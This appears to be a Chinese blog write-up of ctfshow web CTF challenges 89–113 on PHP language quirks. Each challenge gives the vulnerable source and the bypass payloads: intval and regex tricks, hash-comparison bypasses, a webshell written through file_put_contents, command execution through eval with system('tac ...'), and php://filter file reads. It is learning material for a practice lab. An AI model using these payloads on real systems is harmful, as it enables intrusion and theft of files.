WEB入门——PHP特性(一)

web89

  • 此题为 【从0开始学web】系列第八十九题
  • 此系列题目从最基础开始,题目遵循循序渐进的原则
  • 希望对学习CTF WEB的同学有所帮助。
开始php特性系列了,师傅们,冲冲冲!
<?php
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

先看一下用到的函数:

intvalintval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

preg_match:preg_match 函数用于执行一个正则表达式匹配,返回的匹配次数,不匹配为0,匹配成功1次即为1,然后停止搜索,该函数只会匹配一行,可以%0a换行绕过

preg_match_all会一直搜索直到到达结尾。

本题可以采用数组绕过以及字符串绕过。。。

payload:/?num[]=    

得到flag。

Hint

通过数组绕过

web90

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

intval 语法

int intval ( mixed $var [, int $base = 10 ] )

参数说明:

  • $var:要转换成 integer 的数量值。
  • $base:转化所使用的进制。

如果 base 是 0,通过检测 var 的格式来决定使用的进制:

  • 如果字符串包括了 0x (或 0X) 的前缀,使用 16 进制 (hex);否则,
  • 如果字符串以 0 开始,使用 8 进制(octal);否则,
  • 将使用 10 进制 (decimal)。

相关实例:

<?php
echo intval(42);                      // 42
echo intval(4.2);                     // 4
echo intval('42');                    // 42
echo intval('+42');                   // 42
echo intval('-42');                   // -42
echo intval(042);                     // 34
echo intval('042');                   // 42
echo intval(1e10);                    // 1410065408
echo intval('1e10');                  // 1
echo intval(0x1A);                    // 26
echo intval(42000000);                // 42000000
echo intval(420000000000000000000);   // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8);                   // 42
echo intval('42', 8);                 // 34
echo intval(array());                 // 0
echo intval(array('foo', 'bar'));     // 1
?>

要求输入一个字符串,且经过十进制转换还等于 4476,联想到进制转换以及弱类型比较,产生了两种 payload:

payload1:/?num=4476aaa
payload2:/?num=0x117c
image-20220922212709045

Hint

因为我们提交的参数值默认就是字符串类型 所以我们可以直接输入 ?num=4476%23

web91

<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}
Notice: Undefined index: cmd in /var/www/html/index.php on line 15
nonononono

题目里的第一个正则匹配是表示匹配以php开头或结尾大小写检验加上多行检验,第二个匹配没有进行多行匹配,于是可以利用换行进行绕过:

payload:/?cmd=%0aphp

Hint

考查:正则表达式是匹配方法 https://blog.csdn.net/qq_46091464/article/details/108278486

可以通过 %0a 绕过 payload: abc%0aphp

web92

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

isset() 函数用于检测变量是否已设置并且非 NULL。

如果已经使用 unset() 释放了一个变量之后,再通过 isset() 判断将返回 FALSE。

若使用 isset() 测试一个被设置成 NULL 的变量,将返回 FALSE

同时要注意的是 null 字符\0并不等同于 PHP 的 NULL 常量。

他这次和以前不一样的地方是if($num==4476)匹配的是字符串,不能再一概而论,故弱类型不行了,试试其他方式,发现进制转化依然可以绕过:

payload:/?num=0x117c
#   同理/?num=010574也可以

按照Hint里提到的使用e进行截断也是种方法,倒是忽略掉了。。。

hint_payload:/?num=4476e123

Hint

intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以

扩展:根据intval特性在sql注入中猜测后台写法

new.php?id=13new.php?id=13'页面一样

如果用news.php?id[]=13出现和news.php?id=1出现一样的结果则是下面这种写法:

$id=intval($_GET['id']);

因为 intval 在 处理对象时,会自动返回 1。

上面这种情况单引号的逃逸可能性就会比较低,可以寻找下一个注入点了。。。。

web93

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

过滤掉了字母直接使用八进制就行了。。。

payload:/?num=010574

hint

过滤了字母但是我们可以使用其他进制就是计算 0b?? : 二进制0??? : 八进制 0X?? : 16进制 payload : ?num=010574

web94

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

可以查看一下相关函数:

strpos() 函数查找字符串在另一字符串中第一次出现的位置。

注释:strpos() 函数对大小写敏感。

注释:该函数是二进制安全的。

相关函数:

  • stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
  • strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)
  • strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)

代码审计一下逻辑:

  • 如果输入强相等于字符串4476,则阻断
  • 传入参数含有字母则阻断
  • 传入参数必须含有 0,否则阻断
  • intval后仍然等于 4476 则给 flag

构造 payload:

/?num=4476.0

Hint

在93的基础上过滤了开头为0的数字 这样的话就不能使用进制转换来进行操作 我们可以使用小数点来进行操作。这样通过intval()函数就可以变为int类型的4476 ?num=4476.0

web95

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

代码审计:

  • 传入参数若等于4476则阻断
  • 传入参数不能含有大小写字母及.
  • 必须含有0,否则阻断
  • intval处理后强等于4476

猜测使用进制转换可以绕过,可以使用010574但是为了越过弱等,必须在前面加上字符,这个可以自己进行尝试

/?num=+010574

因为加法在url里和空格差不多,因此将加法编码也是可以的:

/?num=%2B010574

Hint

可以通过8进制绕过但是前面必须多加一个字节 ?num=+010574或者?num=%2b010574

web96

<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

可以看到是一个文件名的弱类型比较:

方法一:当前目录

payload:/?u=./flag.php

方法二:绝对路径

payload:/?u=/var/www/html/flag.php

方法三:路径混淆

payload:/?u=a/b/c/d/../../../../e/f/g/../../../flag.php

中间的目录不存在,但是并不能阻止我们使用!!!

Hint

在linux下面表示当前目录是 ./ 所以我们的payload: u=./flag.php

web97

<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

代码审计一下:

需要传入a和b俩参数,要求md5相同,但是参数又不相同。

MD5是一种散列函数,是哈希算法的一种,可以将任意长度的输入,通过散列算法变换成128位的散列值

方法一:数组绕过

a[]=1&b[]=2

会发现有:

Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 17
Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 17

这是因为传入的是数组,md5不能加密数组,传入数组会报错,但会继续执行并且返回结果为 null。

方法二:MD5碰撞(未成功)

先建立一个.txt文件,随便写一个内容,丢到fastcoll里去,生成俩文件:

image-20220923012505829
image-20220923012533011

这两个文件内容不同,但是md5值是相同的。

然后使用脚本生成碰撞的字符串:

<?php 
function readmyfile($path){
 $fh = fopen($path, "rb");
 $data = fread($fh, filesize($path));
 fclose($fh);
 return $data;
}
$a = urlencode(readmyfile("E:/TOOLS/fuck_msg1.txt"));
$b = urlencode(readmyfile("E:/TOOLS/fuck_msg2.txt"));
if(md5((string)urldecode($a))===md5((string)urldecode($b))){
echo $a;
}
if(urldecode($a)!=urldecode($b)){
echo $b;
}
a = fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%3Fkt%7E%FCi%8By%A4%B2%1C%D2e%C9%C2%F4%F5%3BHE7v%1D%02%05%16%82%9E%94%3E%0D%EA%D3%22%B4%E5%00%AC-%3A%EF%07%C72%EF%AF%CC%06%1F%90%BA%19%FBG%CF%40H%B4%CA%C8%A0%AC%04%12%8B%FB%E7%E1%D4Y+a%F6%10%5D0A%EF%F3%0EB%5E%5EM%1F%C6%0E%A5%CBZ%EE%CC%EC%86%E2q%60L%26%DA%04%D0%E7%7D%C8sM7%C6%84s0%03%8B%0E%92%10%9A+%AE%1A%5C%5B%27%861%2C%A1
&
b=
fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%3Fkt%7E%FCi%8By%A4%B2%1C%D2e%C9%C2%F4%F5%3BH%C57v%1D%02%05%16%82%9E%94%3E%0D%EA%D3%22%B4%E5%00%AC-%3A%EF%07%C72%EF%2F%CD%06%1F%90%BA%19%FBG%CF%40H%B4%CAH%A0%AC%04%12%8B%FB%E7%E1%D4Y+a%F6%10%5D0A%EF%F3%0EB%5E%5E%CD%1F%C6%0E%A5%CBZ%EE%CC%EC%86%E2q%60L%26%DA%04%D0%E7%7D%C8sM7%C6%04s0%03%8B%0E%92%10%9A+%AE%1A%5C%5B%A7%861%2C%A1

然后传参,不知道这题为啥不行。。。可能是有啥忽略了,啥时候想起来再补充吧。。。

Hint

通过数组绕过 a[]=1&b[]=2

web98

Notice: Undefined index: flag in /var/www/html/index.php on line 15
Notice: Undefined index: flag in /var/www/html/index.php on line 16
Notice: Undefined index: HTTP_FLAG in /var/www/html/index.php on line 17
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>

代码审计一下:

本体用了很多三元运算符以及传址操作:

  • $__GET存在则$GET=$POST,否则为flag
  • $_GET['flag']=='flag'$_GET=$_COOKIE,否则为flag
  • $_GET['flag']=='flag'$_GET=$_SERVER,否则为flag
  • $_GET['HTTP_FLAG']=='flag'则高亮文件,输出flag

构造payload:

解法一:构造_GET、_COOKIE、_POST

image-20220923030146445

image-20220923030206573

得到flag!

解法二:构造_GET、_POST

image-20220923030740860

也能得到flag!!!!

Hint

https://www.php.cn/php-notebook-172859.html https://www.php.cn/php-weizijiaocheng-383293.html

考点是PHP里面的三元运算符和传址(引用) 传址(引用)有点像c语言里面的地址 我们可以修改一下代码

<?php
include('flag.php');
if($_GET){
$_GET=&$_POST;//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地址)
}else{
"flag";
} i
f($_GET['flag']=='flag'){
$_GET=&$_COOKIE;
}else{
'flag';
1 2 3 4 5 6 7 8 9
10
11

所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag 中间的代码没有作用,因为我们不提交 flag 参数

web99

<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>

代码审计一下:

  • 1~36开始到1~0x36d分别从里面取出一个数字放入数组
  • image-20220927143623247
  • 检测GET参数,并看一下是不是在数组内,有的话将GET参数设置成文件名,POST参数设置成内容

查一下基础函数:

image-20220927140330084

可以知道在877里取了841个数字,虽然里面可能会有重复的,但是可以知道在0~841里肯定有参数在数组内,于是乎。。。。

image-20220927144709949

访问1.php

image-20220927144731499

image-20220927144839225

image-20220927144851643

访问flag即可:

1=system("tac flag36d.php");
$flag="ctfshow{e3d839ed-895a-454a-ae81-1b56f71c0eb6}"; */ # @link: https://ctfer.com # @email: h1xa@ctfer.com # @Last Modified time: 2020-09-16 11:25:00 # @Last Modified by: h1xa # @Date: 2020-09-16 11:24:37 # @Author: h1xa # -*- coding: utf-8 -*- /*

得到flag!!!!!

Hint

<?php
highlight_file(__FILE__);
$allow = array();//设置为数组
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));//向数组里面插入随机数
} i
f(isset($_GET['n']) && in_array($_GET['n'], $allow)){
//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
file_put_contents($_GET['n'], $_POST['content']);
//写入1.php文件 内容是<?php system($_POST[1]);?>
} ?
>
payload: get : ?n=1.php post:content=

web100

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }  
}
?>
Notice: Undefined index: v1 in /var/www/html/index.php on line 17
Notice: Undefined index: v2 in /var/www/html/index.php on line 18
Notice: Undefined index: v3 in /var/www/html/index.php on line 19

代码审计一下:

需要传入三个参数:

  • v1 参数为一执行下述逻辑
  • v2 参数为命令
  • v3 参数为;

查看一下相关函数:

is_numeric

(PHP 4, PHP 5, PHP 7, PHP 8)

is_numeric — 检测变量是否为数字或数字字符串

说明

is_numeric(mixed $value): bool

检测指定的变量是否为数字或数字字符串

参数

  • value

    需要检测的变量。

返回值

如果 value 是数字或数字字符串, 返回 true,否则返回 false

构造payload:

/?v1=1&v2=var_dump&v3=;
# string(7) "ctfshow"
/?v1=1&v2=phpinfo()&v3=;

image-20220927151731091

image-20220927151811524

这个flag一看就不太对劲。。。。

image-20220927151856161

得到flag!!!!

提交。。。。。失败。。

观察flag,发现有0x2d,16进制解码就是-

将flag转化一下提交。。。成功!!!!

大师傅步骤

和上面的步骤基本上是一致的,但是大师傅构造了个%23(url编码以后的#)用来将字符串注释掉。

Hint

这道题基本上没有对参数进行过滤,所以直接执行命令
?v1=21&v2=var_dump($ctfshow)/*&v3=*/;

web101

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }  
}
?>
Notice: Undefined index: v1 in /var/www/html/index.php on line 17
Notice: Undefined index: v2 in /var/www/html/index.php on line 18
Notice: Undefined index: v3 in /var/www/html/index.php on line 19

代码审计一下:

flagctfshow类中。。。

  • vo判断,为一则往下执行
  • v2,v3进行过滤
  • 执行eval

根据大师傅解法,需要先了解一下new Reflectionclass

ReflectionClass:一个反射类,功能十分强大,内置了各种获取类信息的方法,创建方式为new ReflectionClass(str 类名),可以用echo new ReflectionClass('className')打印类的信息。

构造payload:

/?v1=888&v2=echo new ReflectionClass&v3=;

image-20220928081814096

得到flag以后将flag内的0x2d换成-,发现少了一位,提交不正确,看到Hint说需要爆破,尝试,最终获得flag,提交正确!!!

对了,记得加上ctfshow{}的外壳

Hint

Hint1

?v1=1&v2=echo new Reflectionclass&v3=;

Hint2

替换0x2d为-,最后一位需要爆破16次,题目给的flag少一位

web102

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}
?>
Notice: Undefined index: v1 in /var/www/html/index.php on line 14
Notice: Undefined index: v2 in /var/www/html/index.php on line 15
Notice: Undefined index: v3 in /var/www/html/index.php on line 16
hacker

先看一下相关函数:

image-20220928085227392

call_user_func

(PHP 4, PHP 5, PHP 7, PHP 8)

call_user_func — 把第一个参数作为回调函数调用

说明

call_user_func(callable $callback, mixed ...$args): mixed

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

参数

  • callback

    将被调用的回调函数(callable)。

  • args

    0个或以上的参数,被传入回调函数。注意:请注意,传入call_user_func()的参数不能为引用传递。

首先先构造查看一下php版本:

image-20220928090916527

php版本在5.x以上,无法通过0x字符串进行绕过。。。。

大师傅构造了一个科学计数法绕过:(前面的11随便换成啥两位数字都行,因为会被截断掉)

115044383959474e6864434171594473--->PD89YGNhdCAqYDs

进行base64解码就能看到它的庐山真面目了:

<?=`cat *`;

构造payload:

/?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
v1=hex2bin

image-20220928091736952

有回显说明写入成功了,访问1.php查看源代码即可获得flag!!!

Hint

GET
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.php
POST
v1=hex2bin
#访问1.php后查看源代码获得flag

web103

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}
?>
Notice: Undefined index: v1 in /var/www/html/index.php on line 14
Notice: Undefined index: v2 in /var/www/html/index.php on line 15
Notice: Undefined index: v3 in /var/www/html/index.php on line 16
hacker

和上一题一样的payload:

Hint

GET
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=2.php
POST
v1=hex2bin
#访问1.php后查看源代码获得flag

web104

<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}

本题没有要求判断两个变量是否相同,直接给俩一样的参数就行了。

POST:v1=1
GET:v2=1

当然也可以使用数组绕过,都会返回false,

POST:v1[]=1
GET:v2[]=1

Hint里的意思应该是想实现0e绕过,0e开头的字符串在参与比较时,会被当做科学计数法,俩都会转化成0。

Hint

#payload
aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668

web105

<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
你还想要flag嘛?

代码审计:

  • 对GET进行判断覆盖
  • 对POST进行判断覆盖
  • 判断打印flag

构造payload:

POST:/?suces=flag
GET:error=suces

image-20220928103822416

Hint

考察:php的变量覆盖 payload: GET: ?suces=flag POST: error=suces

web106

<?php
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}
?>

数组绕过即可:

image-20220928104454272

web107

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }
}
?>

查一下相关函数:

parse_str

(PHP 4, PHP 5, PHP 7, PHP 8)

parse_str — 将字符串解析成多个变量

说明

parse_str(string $string, array &$result): void

如果 string 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )。

参数

  • string

    输入的字符串。

  • result

    如果设置了第二个变量 result, 变量将会以数组元素的形式存入到这个数组,作为替代。警告极度不建议在没有 result 参数的情况下使用此函数, 并且在 PHP 7.2 中将废弃不设置参数的行为。PHP 8.0.0 起,result 参数是强制的

主要是构造v2v3的md5相同相同则打印flag。

构造payload:

image-20220928105758850

Hint

GET: ?v3=240610708 POST: v1=flag=0

web108

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}
?>
error

查一下相关函数:

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。

可选的输入参数规则包含一个数组的所有匹配表达式,他们被正则表达式的括号分组。

ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

ereg()只能处理字符串的,遇到数组做参数返回NULL

strrev是逆字符串

利用%00截断构造payload:

a%00778

得到flag,当然,利用intval转化的特点还可以衍生出很多大同小异的解法。。。

Hint

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

?c=a%00778

web109

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }
}
?>

方法一:反射类

和上面有一道题一样使用反射类即可:

/?v1=ReflectionClass&v2=system('ls')
/?v1=ReflectionClass&v2=system('tac fl36dg.txt')

方法二:扩展类

使用扩展类执行分批次输入命令和参数从而执行

/?v1=exception&v2=system('tac fl36dg.txt'));//

注意要注释掉后面的,再闭合前面的。

Hint

Exception 异常处理类 http://c.biancheng.net/view/6253.html 
payload: ?v1=Exception&v2=system('cat fl36dg.txt') 
?v1=Reflectionclass&v2=system('cat fl36dg.txt')

web110

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }
    eval("echo new $v1($v2());");
}
?>

随便看一下感觉基本上除了字母都被过滤了。。。。

先用上面的扩展函数看一下phpinfo

/?v1=exception&v2=phpinfo

大师傅指点使用类FilesystemIteartorgetcwd()方法,大师傅牛逼!!!!!!

/?v1=filesystemiteartor&v2=getcwd
==> fl36dga.txt

访问文件即可。。。。

学习到的:

FileSystemIterator遍历文件类

DirectoryIterator遍历目录类

Hint

考察:php内置类 利用 FilesystemIterator 获取指定目录下的所有文件 http://phpff.com/filesystemiterator https://www.php.net/manual/zh/class.filesystemiterator.php getcwd()函数 获取当前工作目录 返回当前工作目录 payload: ?v1=FilesystemIterator&v2=getcwd

web111

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
}
?>

内部需要使用外部变量,利用全局变量进行赋值:

    /?v1=ctfshow&v2=GLOBALS

Hint

考察:全局变量 为了满足条件,我们可以利用全局变量来进行赋值给ctfshow这个变量 payload: ?v1=ctfshow&v2=GLOBALS

web112

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

is_file

is_file函数可以使用包装器伪协议进行绕过

构造payload:

/?file=php://filter/resource=flag.php

Hint

php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php

web113

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

查看一下文档,看一下可以过is_file的伪协议:

大师傅使用的是zlib里的官方样例进行绕过的,我们以后也要经常翻官方文档不能一味依靠大师傅。。。

/?file=compress.zlib://flag.php

Hint:目录溢出

/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇